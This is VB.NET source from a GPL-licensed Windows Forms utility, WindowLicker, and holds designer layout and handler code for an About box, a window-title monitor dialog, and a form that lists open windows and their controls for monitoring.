80 | Me.LogoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
81 | Me.LogoPictureBox.TabIndex = 0
82 | Me.LogoPictureBox.TabStop = False
83 | '
84 | 'LabelProductName
85 | '
86 | Me.LabelProductName.Dock = System.Windows.Forms.DockStyle.Fill
87 | Me.LabelProductName.Location = New System.Drawing.Point(136, 0)
88 | Me.LabelProductName.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0)
89 | Me.LabelProductName.MaximumSize = New System.Drawing.Size(0, 17)
90 | Me.LabelProductName.Name = "LabelProductName"
91 | Me.LabelProductName.Size = New System.Drawing.Size(257, 17)
92 | Me.LabelProductName.TabIndex = 0
93 | Me.LabelProductName.Text = "Product Name"
94 | Me.LabelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft
95 | '
96 | 'LabelVersion
97 | '
98 | Me.LabelVersion.Dock = System.Windows.Forms.DockStyle.Fill
99 | Me.LabelVersion.Location = New System.Drawing.Point(136, 25)
100 | Me.LabelVersion.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0)
101 | Me.LabelVersion.MaximumSize = New System.Drawing.Size(0, 17)
102 | Me.LabelVersion.Name = "LabelVersion"
103 | Me.LabelVersion.Size = New System.Drawing.Size(257, 17)
104 | Me.LabelVersion.TabIndex = 0
105 | Me.LabelVersion.Text = "Version"
106 | Me.LabelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft
107 | '
108 | 'LabelCopyright
109 | '
110 | Me.LabelCopyright.Dock = System.Windows.Forms.DockStyle.Fill
111 | Me.LabelCopyright.Location = New System.Drawing.Point(136, 50)
112 | Me.LabelCopyright.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0)
113 | Me.LabelCopyright.MaximumSize = New System.Drawing.Size(0, 17)
114 | Me.LabelCopyright.Name = "LabelCopyright"
115 | Me.LabelCopyright.Size = New System.Drawing.Size(257, 17)
116 | Me.LabelCopyright.TabIndex = 0
117 | Me.LabelCopyright.Text = "Copyright"
118 | Me.LabelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft
119 | '
120 | 'LabelCompanyName
121 | '
122 | Me.LabelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill
123 | Me.LabelCompanyName.Location = New System.Drawing.Point(136, 75)
124 | Me.LabelCompanyName.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0)
125 | Me.LabelCompanyName.MaximumSize = New System.Drawing.Size(0, 17)
126 | Me.LabelCompanyName.Name = "LabelCompanyName"
127 | Me.LabelCompanyName.Size = New System.Drawing.Size(257, 17)
128 | Me.LabelCompanyName.TabIndex = 0
129 | Me.LabelCompanyName.Text = "Company Name"
130 | Me.LabelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft
131 | '
132 | 'TextBoxDescription
133 | '
134 | Me.TextBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill
135 | Me.TextBoxDescription.Location = New System.Drawing.Point(136, 103)
136 | Me.TextBoxDescription.Margin = New System.Windows.Forms.Padding(6, 3, 3, 3)
137 | Me.TextBoxDescription.Multiline = True
138 | Me.TextBoxDescription.Name = "TextBoxDescription"
139 | Me.TextBoxDescription.ReadOnly = True
140 | Me.TextBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both
141 | Me.TextBoxDescription.Size = New System.Drawing.Size(257, 123)
142 | Me.TextBoxDescription.TabIndex = 0
143 | Me.TextBoxDescription.TabStop = False
144 | Me.TextBoxDescription.Text = resources.GetString("TextBoxDescription.Text")
145 | '
146 | 'OKButton
147 | '
148 | Me.OKButton.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
149 | Me.OKButton.DialogResult = System.Windows.Forms.DialogResult.Cancel
150 | Me.OKButton.Location = New System.Drawing.Point(318, 232)
151 | Me.OKButton.Name = "OKButton"
152 | Me.OKButton.Size = New System.Drawing.Size(75, 23)
153 | Me.OKButton.TabIndex = 0
154 | Me.OKButton.Text = "&OK"
155 | '
156 | 'frmAbout
157 | '
158 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
159 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
160 | Me.CancelButton = Me.OKButton
161 | Me.ClientSize = New System.Drawing.Size(414, 276)
162 | Me.Controls.Add(Me.TableLayoutPanel)
163 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog
164 | Me.MaximizeBox = False
165 | Me.MinimizeBox = False
166 | Me.Name = "frmAbout"
167 | Me.Padding = New System.Windows.Forms.Padding(9)
168 | Me.ShowInTaskbar = False
169 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
170 | Me.Text = "About WindowClicker"
171 | Me.TableLayoutPanel.ResumeLayout(False)
172 | Me.TableLayoutPanel.PerformLayout()
173 | CType(Me.LogoPictureBox, System.ComponentModel.ISupportInitialize).EndInit()
174 | Me.ResumeLayout(False)
175 |
176 | End Sub
177 |
178 | End Class
179 |
--------------------------------------------------------------------------------
/WindowLicker/frmAbout.vb:
--------------------------------------------------------------------------------
1 | Public NotInheritable Class frmAbout
2 |
3 | Private Sub AboutBox1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
4 | ' Set the title of the form.
5 | Dim ApplicationTitle As String
6 | If My.Application.Info.Title <> "" Then
7 | ApplicationTitle = My.Application.Info.Title
8 | Else
9 | ApplicationTitle = System.IO.Path.GetFileNameWithoutExtension(My.Application.Info.AssemblyName)
10 | End If
11 | Me.Text = String.Format("About {0}", ApplicationTitle)
12 | ' Initialize all of the text displayed on the About Box.
13 | ' TODO: Customize the application's assembly information in the "Application" pane of the project
14 | ' properties dialog (under the "Project" menu).
15 | Me.LabelProductName.Text = My.Application.Info.ProductName
16 | Me.LabelVersion.Text = String.Format("Version {0}", My.Application.Info.Version.ToString)
17 | Me.LabelCopyright.Text = My.Application.Info.Copyright
18 | Me.LabelCompanyName.Text = My.Application.Info.CompanyName
19 | Me.TextBoxDescription.Text = My.Application.Info.Description
20 | End Sub
21 |
22 | Private Sub OKButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OKButton.Click
23 | Me.Close()
24 | End Sub
25 |
26 | End Class
27 |
--------------------------------------------------------------------------------
/WindowLicker/frmAddWindow.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmAddWindow
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmAddWindow))
26 | Me.lblTitle = New System.Windows.Forms.Label()
27 | Me.txtWindow = New System.Windows.Forms.TextBox()
28 | Me.gbSearch = New System.Windows.Forms.GroupBox()
29 | Me.rbPartial = New System.Windows.Forms.RadioButton()
30 | Me.rbFull = New System.Windows.Forms.RadioButton()
31 | Me.btnOK = New System.Windows.Forms.Button()
32 | Me.btnCancel = New System.Windows.Forms.Button()
33 | Me.gbSearch.SuspendLayout()
34 | Me.SuspendLayout()
35 | '
36 | 'lblTitle
37 | '
38 | Me.lblTitle.AutoSize = True
39 | Me.lblTitle.Location = New System.Drawing.Point(2, 11)
40 | Me.lblTitle.Name = "lblTitle"
41 | Me.lblTitle.Size = New System.Drawing.Size(72, 13)
42 | Me.lblTitle.TabIndex = 0
43 | Me.lblTitle.Text = "Window Title:"
44 | '
45 | 'txtWindow
46 | '
47 | Me.txtWindow.Location = New System.Drawing.Point(78, 8)
48 | Me.txtWindow.Name = "txtWindow"
49 | Me.txtWindow.Size = New System.Drawing.Size(343, 20)
50 | Me.txtWindow.TabIndex = 1
51 | '
52 | 'gbSearch
53 | '
54 | Me.gbSearch.Controls.Add(Me.rbPartial)
55 | Me.gbSearch.Controls.Add(Me.rbFull)
56 | Me.gbSearch.Location = New System.Drawing.Point(5, 34)
57 | Me.gbSearch.Name = "gbSearch"
58 | Me.gbSearch.Size = New System.Drawing.Size(239, 69)
59 | Me.gbSearch.TabIndex = 3
60 | Me.gbSearch.TabStop = False
61 | Me.gbSearch.Text = "Search Type"
62 | '
63 | 'rbPartial
64 | '
65 | Me.rbPartial.AutoSize = True
66 | Me.rbPartial.Location = New System.Drawing.Point(7, 41)
67 | Me.rbPartial.Name = "rbPartial"
68 | Me.rbPartial.Size = New System.Drawing.Size(202, 17)
69 | Me.rbPartial.TabIndex = 1
70 | Me.rbPartial.TabStop = True
71 | Me.rbPartial.Text = "Window Title Contains Specified Text"
72 | Me.rbPartial.UseVisualStyleBackColor = True
73 | '
74 | 'rbFull
75 | '
76 | Me.rbFull.AutoSize = True
77 | Me.rbFull.Checked = True
78 | Me.rbFull.Location = New System.Drawing.Point(7, 20)
79 | Me.rbFull.Name = "rbFull"
80 | Me.rbFull.Size = New System.Drawing.Size(139, 17)
81 | Me.rbFull.TabIndex = 0
82 | Me.rbFull.TabStop = True
83 | Me.rbFull.Text = "Match Full Window Title"
84 | Me.rbFull.UseVisualStyleBackColor = True
85 | '
86 | 'btnOK
87 | '
88 | Me.btnOK.Location = New System.Drawing.Point(264, 80)
89 | Me.btnOK.Name = "btnOK"
90 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
91 | Me.btnOK.TabIndex = 5
92 | Me.btnOK.Text = "OK"
93 | Me.btnOK.UseVisualStyleBackColor = True
94 | '
95 | 'btnCancel
96 | '
97 | Me.btnCancel.Location = New System.Drawing.Point(346, 80)
98 | Me.btnCancel.Name = "btnCancel"
99 | Me.btnCancel.Size = New System.Drawing.Size(75, 23)
100 | Me.btnCancel.TabIndex = 4
101 | Me.btnCancel.Text = "Cancel"
102 | Me.btnCancel.UseVisualStyleBackColor = True
103 | '
104 | 'frmAddWindow
105 | '
106 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
107 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
108 | Me.ClientSize = New System.Drawing.Size(430, 116)
109 | Me.Controls.Add(Me.btnOK)
110 | Me.Controls.Add(Me.btnCancel)
111 | Me.Controls.Add(Me.gbSearch)
112 | Me.Controls.Add(Me.txtWindow)
113 | Me.Controls.Add(Me.lblTitle)
114 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
115 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
116 | Me.MaximizeBox = False
117 | Me.MinimizeBox = False
118 | Me.Name = "frmAddWindow"
119 | Me.Text = "Monitor For New Window"
120 | Me.gbSearch.ResumeLayout(False)
121 | Me.gbSearch.PerformLayout()
122 | Me.ResumeLayout(False)
123 | Me.PerformLayout()
124 |
125 | End Sub
126 | Friend WithEvents lblTitle As System.Windows.Forms.Label
127 | Friend WithEvents txtWindow As System.Windows.Forms.TextBox
128 | Friend WithEvents gbSearch As System.Windows.Forms.GroupBox
129 | Friend WithEvents rbPartial As System.Windows.Forms.RadioButton
130 | Friend WithEvents rbFull As System.Windows.Forms.RadioButton
131 | Friend WithEvents btnOK As System.Windows.Forms.Button
132 | Friend WithEvents btnCancel As System.Windows.Forms.Button
133 | End Class
134 |
--------------------------------------------------------------------------------
/WindowLicker/frmAddWindow.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class frmAddWindow
19 |
20 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click
21 | Me.Dispose()
22 | End Sub
23 |
24 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
25 | ' Check if window title is in dictionary
26 | ' If new window then add the new details to the dictionary
27 | ' If already in dictionary then modify the existing entry
28 | '========================================================
29 | Dim strTitle As String
30 | Dim nwNewWindow As NewWindow
31 |
32 |
33 | strTitle = txtWindow.Text.Trim
34 |
35 | If strTitle = "" Then
36 | MsgBox("Please provide a window title!", MsgBoxStyle.Exclamation, "Error")
37 | Exit Sub
38 | Else
39 |
40 | If NewWindows.ContainsKey(strTitle) Then
41 | ' Modify existing item
42 | NewWindows.Item(strTitle).IsFullTitle = rbFull.Checked
43 | Else
44 | ' Add new item
45 | nwNewWindow = New NewWindow(strTitle, rbFull.Checked)
46 | NewWindows.Add(strTitle, nwNewWindow)
47 | End If
48 | End If
49 |
50 |
51 | '== Activate monitor if required ==
52 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0))
53 |
54 | frmMain.timTimer.Enabled = IsGuiMonitor
55 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor
56 |
57 | Me.Dispose()
58 |
59 | End Sub
60 |
61 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmCurrentWindows.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmCurrentWindows
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Me.components = New System.ComponentModel.Container()
26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmCurrentWindows))
27 | Me.spMain = New System.Windows.Forms.SplitContainer()
28 | Me.spWindows = New System.Windows.Forms.SplitContainer()
29 | Me.tvWindows = New System.Windows.Forms.TreeView()
30 | Me.ilControls = New System.Windows.Forms.ImageList(Me.components)
31 | Me.lvWindows = New System.Windows.Forms.ListView()
32 | Me.chHwnd = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
33 | Me.chControlType = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
34 | Me.chName = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
35 | Me.chText = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
36 | Me.btnRefresh = New System.Windows.Forms.Button()
37 | Me.btnOK = New System.Windows.Forms.Button()
38 | Me.btnCancel = New System.Windows.Forms.Button()
39 | CType(Me.spMain, System.ComponentModel.ISupportInitialize).BeginInit()
40 | Me.spMain.Panel1.SuspendLayout()
41 | Me.spMain.Panel2.SuspendLayout()
42 | Me.spMain.SuspendLayout()
43 | CType(Me.spWindows, System.ComponentModel.ISupportInitialize).BeginInit()
44 | Me.spWindows.Panel1.SuspendLayout()
45 | Me.spWindows.Panel2.SuspendLayout()
46 | Me.spWindows.SuspendLayout()
47 | Me.SuspendLayout()
48 | '
49 | 'spMain
50 | '
51 | Me.spMain.Dock = System.Windows.Forms.DockStyle.Fill
52 | Me.spMain.IsSplitterFixed = True
53 | Me.spMain.Location = New System.Drawing.Point(0, 0)
54 | Me.spMain.Name = "spMain"
55 | Me.spMain.Orientation = System.Windows.Forms.Orientation.Horizontal
56 | '
57 | 'spMain.Panel1
58 | '
59 | Me.spMain.Panel1.Controls.Add(Me.spWindows)
60 | '
61 | 'spMain.Panel2
62 | '
63 | Me.spMain.Panel2.Controls.Add(Me.btnRefresh)
64 | Me.spMain.Panel2.Controls.Add(Me.btnOK)
65 | Me.spMain.Panel2.Controls.Add(Me.btnCancel)
66 | Me.spMain.Size = New System.Drawing.Size(880, 546)
67 | Me.spMain.SplitterDistance = 517
68 | Me.spMain.TabIndex = 0
69 | '
70 | 'spWindows
71 | '
72 | Me.spWindows.Dock = System.Windows.Forms.DockStyle.Fill
73 | Me.spWindows.Location = New System.Drawing.Point(0, 0)
74 | Me.spWindows.Name = "spWindows"
75 | '
76 | 'spWindows.Panel1
77 | '
78 | Me.spWindows.Panel1.Controls.Add(Me.tvWindows)
79 | '
80 | 'spWindows.Panel2
81 | '
82 | Me.spWindows.Panel2.Controls.Add(Me.lvWindows)
83 | Me.spWindows.Size = New System.Drawing.Size(880, 517)
84 | Me.spWindows.SplitterDistance = 293
85 | Me.spWindows.TabIndex = 0
86 | '
87 | 'tvWindows
88 | '
89 | Me.tvWindows.Dock = System.Windows.Forms.DockStyle.Fill
90 | Me.tvWindows.ImageIndex = 0
91 | Me.tvWindows.ImageList = Me.ilControls
92 | Me.tvWindows.Location = New System.Drawing.Point(0, 0)
93 | Me.tvWindows.Name = "tvWindows"
94 | Me.tvWindows.SelectedImageIndex = 0
95 | Me.tvWindows.Size = New System.Drawing.Size(293, 517)
96 | Me.tvWindows.TabIndex = 0
97 | '
98 | 'ilControls
99 | '
100 | Me.ilControls.ImageStream = CType(resources.GetObject("ilControls.ImageStream"), System.Windows.Forms.ImageListStreamer)
101 | Me.ilControls.TransparentColor = System.Drawing.Color.Transparent
102 | Me.ilControls.Images.SetKeyName(0, "Computer.png")
103 | Me.ilControls.Images.SetKeyName(1, "AppWindowHS.bmp")
104 | Me.ilControls.Images.SetKeyName(2, "ThumbnailView.png")
105 | '
106 | 'lvWindows
107 | '
108 | Me.lvWindows.CheckBoxes = True
109 | Me.lvWindows.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chHwnd, Me.chControlType, Me.chName, Me.chText})
110 | Me.lvWindows.Dock = System.Windows.Forms.DockStyle.Fill
111 | Me.lvWindows.Location = New System.Drawing.Point(0, 0)
112 | Me.lvWindows.Name = "lvWindows"
113 | Me.lvWindows.Size = New System.Drawing.Size(583, 517)
114 | Me.lvWindows.TabIndex = 0
115 | Me.lvWindows.UseCompatibleStateImageBehavior = False
116 | Me.lvWindows.View = System.Windows.Forms.View.Details
117 | '
118 | 'chHwnd
119 | '
120 | Me.chHwnd.Text = "hWnd"
121 | Me.chHwnd.Width = 85
122 | '
123 | 'chControlType
124 | '
125 | Me.chControlType.Text = "Control Type"
126 | Me.chControlType.Width = 122
127 | '
128 | 'chName
129 | '
130 | Me.chName.Text = "Name"
131 | Me.chName.Width = 111
132 | '
133 | 'chText
134 | '
135 | Me.chText.Text = "Text"
136 | Me.chText.Width = 308
137 | '
138 | 'btnRefresh
139 | '
140 | Me.btnRefresh.Location = New System.Drawing.Point(5, 1)
141 | Me.btnRefresh.Name = "btnRefresh"
142 | Me.btnRefresh.Size = New System.Drawing.Size(75, 23)
143 | Me.btnRefresh.TabIndex = 2
144 | Me.btnRefresh.Text = "Refresh"
145 | Me.btnRefresh.UseVisualStyleBackColor = True
146 | '
147 | 'btnOK
148 | '
149 | Me.btnOK.Location = New System.Drawing.Point(720, 1)
150 | Me.btnOK.Name = "btnOK"
151 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
152 | Me.btnOK.TabIndex = 1
153 | Me.btnOK.Text = "OK"
154 | Me.btnOK.UseVisualStyleBackColor = True
155 | '
156 | 'btnCancel
157 | '
158 | Me.btnCancel.Location = New System.Drawing.Point(800, 1)
159 | Me.btnCancel.Name = "btnCancel"
160 | Me.btnCancel.Size = New System.Drawing.Size(75, 23)
161 | Me.btnCancel.TabIndex = 0
162 | Me.btnCancel.Text = "Cancel"
163 | Me.btnCancel.UseVisualStyleBackColor = True
164 | '
165 | 'frmCurrentWindows
166 | '
167 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
168 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
169 | Me.ClientSize = New System.Drawing.Size(880, 546)
170 | Me.Controls.Add(Me.spMain)
171 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
172 | Me.Name = "frmCurrentWindows"
173 | Me.Text = "Current Windows"
174 | Me.spMain.Panel1.ResumeLayout(False)
175 | Me.spMain.Panel2.ResumeLayout(False)
176 | CType(Me.spMain, System.ComponentModel.ISupportInitialize).EndInit()
177 | Me.spMain.ResumeLayout(False)
178 | Me.spWindows.Panel1.ResumeLayout(False)
179 | Me.spWindows.Panel2.ResumeLayout(False)
180 | CType(Me.spWindows, System.ComponentModel.ISupportInitialize).EndInit()
181 | Me.spWindows.ResumeLayout(False)
182 | Me.ResumeLayout(False)
183 |
184 | End Sub
185 | Friend WithEvents spMain As System.Windows.Forms.SplitContainer
186 | Friend WithEvents spWindows As System.Windows.Forms.SplitContainer
187 | Friend WithEvents tvWindows As System.Windows.Forms.TreeView
188 | Friend WithEvents lvWindows As System.Windows.Forms.ListView
189 | Friend WithEvents btnOK As System.Windows.Forms.Button
190 | Friend WithEvents btnCancel As System.Windows.Forms.Button
191 | Friend WithEvents chHwnd As System.Windows.Forms.ColumnHeader
192 | Friend WithEvents chControlType As System.Windows.Forms.ColumnHeader
193 | Friend WithEvents chText As System.Windows.Forms.ColumnHeader
194 | Friend WithEvents ilControls As System.Windows.Forms.ImageList
195 | Friend WithEvents btnRefresh As System.Windows.Forms.Button
196 | Friend WithEvents chName As System.Windows.Forms.ColumnHeader
197 | End Class
198 |
--------------------------------------------------------------------------------
/WindowLicker/frmCurrentWindows.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class frmCurrentWindows
19 |
20 | '===============================================================
21 | '== Temporary placeholder for anything that will be monitored ==
22 | '== On clicking OK this list will replace the original list ==
23 | '---------------------------------------------------------------
24 | Private dicWindows As New Dictionary(Of IntPtr, MonitoredWindow)
25 |
26 |
27 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click
28 | Me.Dispose()
29 | End Sub
30 |
31 | Private Sub frmCurrentWindows_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
32 | ' Popultate controls with current windows
33 | '========================================
34 |
35 | '== Get current visible windows and add to treeview ==
36 | RefreshTree()
37 |
38 | '== Mark any windows that are currently being monitored ==
39 | MarkMonitoredWindows()
40 |
41 | End Sub
42 |
43 | Private Sub MarkMonitoredWindows()
44 | ' Mark any windows that are currently being monitored in the ListView
45 | '====================================================================
46 |
47 | If lvWindows.Items.Count < 1 Then Exit Sub
48 |
49 | For Each itmItem As IntPtr In MonitoredWindows.Keys
50 | If lvWindows.Items.ContainsKey(itmItem.ToString) Then
51 | lvWindows.Items(itmItem.ToString).Checked = True
52 | End If
53 | Next
54 |
55 | End Sub
56 |
57 | Private Sub frmCurrentWindows_Resize(sender As Object, e As System.EventArgs) Handles Me.Resize
58 | ' Reposition the OK and Cancel buttons when form is resized
59 | '==========================================================
60 | On Error Resume Next
61 |
62 | 'If Me.Width < 200 Then Me.Width = 200
63 |
64 | btnCancel.Left = Me.Width - 96
65 | btnOK.Left = btnCancel.Left - 80
66 |
67 | End Sub
68 |
69 | Private Sub tvWindows_AfterSelect(sender As System.Object, e As System.Windows.Forms.TreeViewEventArgs) Handles tvWindows.AfterSelect
70 | ' Show windows or controls as appropriate
71 | '========================================
72 |
73 | If tvWindows.Nodes("0").IsSelected = True Then
74 | ShowWindows()
75 | Else
76 | ShowControls()
77 | End If
78 |
79 | End Sub
80 |
81 | Private Sub ShowWindows()
82 | ' Show windows for the desktop
83 | '=============================
84 | Dim lviItem As ListViewItem
85 |
86 |
87 | lvWindows.Items.Clear()
88 | For Each ewWindow As ExistingWindow In ExistingWindows.Values
89 |
90 | lviItem = New ListViewItem
91 | lviItem.Name = ewWindow.hWnd.ToString
92 | lviItem.Text = ewWindow.hWnd.ToString
93 | lviItem.SubItems.Add(ewWindow.ProcessName)
94 | lviItem.SubItems.Add(ewWindow.WindowTitle)
95 | lvWindows.Items.Add(lviItem)
96 | Next
97 |
98 | MarkMonitoredWindows()
99 |
100 | End Sub
101 |
102 | Private Sub ShowControls()
103 | ' Show controls for this Window
104 | '==============================
105 | Dim ecExistingControl As ExistingControl
106 | Dim lviItem As ListViewItem
107 | Dim hWnd As IntPtr
108 |
109 |
110 | '== Get handle for the window ==
111 | hWnd = FindWindow(vbNullString, tvWindows.SelectedNode.Text)
112 |
113 | '== Refresh list of controls for this window title ==
114 | EnumerateControls(hWnd)
115 |
116 | '== Clear the listview ==
117 | lvWindows.Items.Clear()
118 |
119 |
120 | '== Check that a valid list exists ==
121 | If Not ExistingControlGroups.ContainsKey(hWnd) Then Exit Sub
122 |
123 | '== Populate with new items ==
124 | For Each ptrHandle As IntPtr In ExistingControlGroups.Item(hWnd)
125 |
126 | ecExistingControl = ExistingControls.Item(ptrHandle)
127 |
128 | lviItem = New ListViewItem
129 | lviItem.Name = ptrHandle.ToString
130 | lviItem.Text = ptrHandle.ToString
131 | lviItem.SubItems.Add(ecExistingControl.ControlClass)
132 | lviItem.SubItems.Add(ecExistingControl.ControlName)
133 | lviItem.SubItems.Add(ecExistingControl.ControlText)
134 | lvWindows.Items.Add(lviItem)
135 | Next
136 |
137 | MarkMonitoredWindows()
138 |
139 | End Sub
140 |
141 | Private Sub btnRefresh_Click(sender As System.Object, e As System.EventArgs) Handles btnRefresh.Click
142 | ' Clear the treeview
143 | ' Get current visible windows and add to treeview
144 | '================================================
145 |
146 | RefreshTree()
147 |
148 | End Sub
149 |
150 | Private Sub RefreshTree()
151 | ' Populate dictionary with current, visible windows and add to treeview
152 | '======================================================================
153 |
154 | '== Clear any previous windows from the dictionary and GUI==
155 | ExistingWindows.Clear()
156 | tvWindows.Nodes.Clear()
157 |
158 | '== Add desktop node - all windows nodes to be children of desktop ==
159 | tvWindows.Nodes.Add("0", "DeskTop", 0)
160 |
161 | '== Get current windows and populate the treeview ==
162 | EnumerateWindows()
163 | For Each itmItem As KeyValuePair(Of IntPtr, ExistingWindow) In ExistingWindows
164 | tvWindows.Nodes("0").Nodes.Add(itmItem.Key.ToString, itmItem.Value.WindowTitle, 1)
165 | Next
166 |
167 | '== Expand the tree if any windows are present ==
168 | If tvWindows.Nodes("0").Nodes.Count > 0 Then tvWindows.Nodes("0").Expand()
169 |
170 | End Sub
171 |
172 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
173 | ' Modify the dictionary with any windows or controls which will be monitored, then exit
174 | '======================================================================================
175 |
176 | '== Copy new monitor lists across ==
177 | MonitoredWindows = New Dictionary(Of IntPtr, MonitoredWindow)(dicWindows)
178 |
179 | '== Activate monitor if required ==
180 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0))
181 |
182 | frmMain.timTimer.Enabled = IsGuiMonitor
183 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor
184 |
185 | '== Close form ==
186 | Me.Dispose()
187 |
188 | End Sub
189 |
190 | Private Sub lvWindows_ItemCheck(sender As Object, e As System.Windows.Forms.ItemCheckEventArgs) Handles lvWindows.ItemCheck
191 | ' Add/remove the selected item to/from the dictionary as appropriate
192 | '===================================================================
193 | Dim mwWindow As MonitoredWindow
194 |
195 |
196 | '== Is item being checked or unchecked? ==
197 | If e.NewValue = CheckState.Checked Then
198 |
199 | '== Check if we have a window or a control ==
200 | If ExistingWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then
201 | mwWindow = New MonitoredWindow(ExistingWindows.Item(lvWindows.Items(e.Index).Name).WindowTitle, lvWindows.Items(e.Index).Name)
202 | ElseIf ExistingControls.ContainsKey(lvWindows.Items(e.Index).Name) Then
203 | mwWindow = New MonitoredWindow(ExistingControls.Item(lvWindows.Items(e.Index).Name).ControlText, lvWindows.Items(e.Index).Name)
204 | Else
205 | '== This shouldn't happen ==
206 | Exit Sub
207 | End If
208 |
209 | '== Add to the dictionary of monitored windows ==
210 | If dicWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then
211 | dicWindows.Item(lvWindows.Items(e.Index).Name) = mwWindow
212 | Else
213 | dicWindows.Add(lvWindows.Items(e.Index).Name, mwWindow)
214 | End If
215 | Else
216 | '== Remove from dictionary ==
217 | If dicWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then
218 | dicWindows.Remove(lvWindows.Items(e.Index).Name)
219 | End If
220 | End If
221 |
222 | End Sub
223 |
224 | End Class
